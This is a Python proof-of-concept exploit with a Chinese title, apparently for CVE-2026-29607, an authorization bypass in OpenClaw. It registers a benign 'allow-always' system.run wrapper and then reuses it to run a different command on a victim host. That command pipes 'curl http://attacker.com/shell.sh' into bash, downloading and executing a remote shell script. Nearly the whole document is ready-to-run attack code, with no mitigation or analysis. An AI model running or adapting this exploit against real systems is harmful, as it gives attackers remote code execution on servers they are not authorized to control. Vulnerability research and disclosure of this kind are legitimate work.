CVE-2026-29607 OpenClaw授权绕过漏洞导致远程代码执行

# CVE-2026-29607 PoC - OpenClaw Authorization Bypass # This PoC demonstrates the allow-always wrapper persistence vulnerability import requests import json import time TARGET_URL = "http://target-openclaw-server:8080" VICTIM_HOST = "node-host-01" def step1_register_benign_command(): """Step 1: Register a benign system.run command in allowlist""" payload = { "action": "wrapper_persist", "wrapper_type": "allow-always", "command": "system.run", "args": ["echo", "diagnostic_test"], "target_host": VICTIM_HOST, "persist": True } response = requests.post(f"{TARGET_URL}/api/wrapper/register", json=payload) return response.json() def step2_execute_malicious_payload(): """Step 2: Execute different malicious payload via persisted wrapper""" # The allowlist entry persists, allowing different payload execution malicious_payload = { "action": "wrapper_execute", "wrapper_id": "allow-always-system-run-001", "command": "system.run", "args": ["bash", "-c", "curl http://attacker.com/shell.sh | bash"], "target_host": VICTIM_HOST } response = requests.post(f"{TARGET_URL}/api/wrapper/execute", json=malicious_payload) return response.json() def exploit(): print("[*] CVE-2026-29607 Exploitation") print("[*] Step 1: Registering benign command...") result1 = step1_register_benign_command() print(f"[+] Benign command registered: {result1}") print("[*] Step 2: Executing malicious payload via persisted wrapper...") result2 = step2_execute_malicious_payload() print(f"[+] Exploitation result: {result2}") return result2 if __name__ == "__main__": exploit()